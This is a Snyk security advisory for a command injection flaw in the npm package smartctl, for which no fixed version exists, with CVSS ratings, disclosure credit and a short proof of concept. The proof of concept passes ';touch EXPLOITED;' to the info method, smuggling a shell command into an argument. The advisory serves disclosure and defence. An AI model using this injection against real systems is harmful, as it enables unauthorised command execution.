Command Injection Affecting smartctl package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (17th percentile)

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  • Snyk ID SNYK-JS-SMARTCTL-3175613
  • published 23 Jan 2023
  • disclosed 19 Dec 2022
  • credit Junmin Zhu at SJTU, JHU System Security Lab

How to fix?

There is no fixed version for smartctl.

Overview

Affected versions of this package are vulnerable to Command Injection via the info method due to improper input sanitization.

PoC

const smartctl = require('smartctl');
smartctl.info(';touch EXPLOITED;', function(){});

References

CVSS Scores

version 3.1
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Snyk

7.4 high
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
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NVD

7.8 high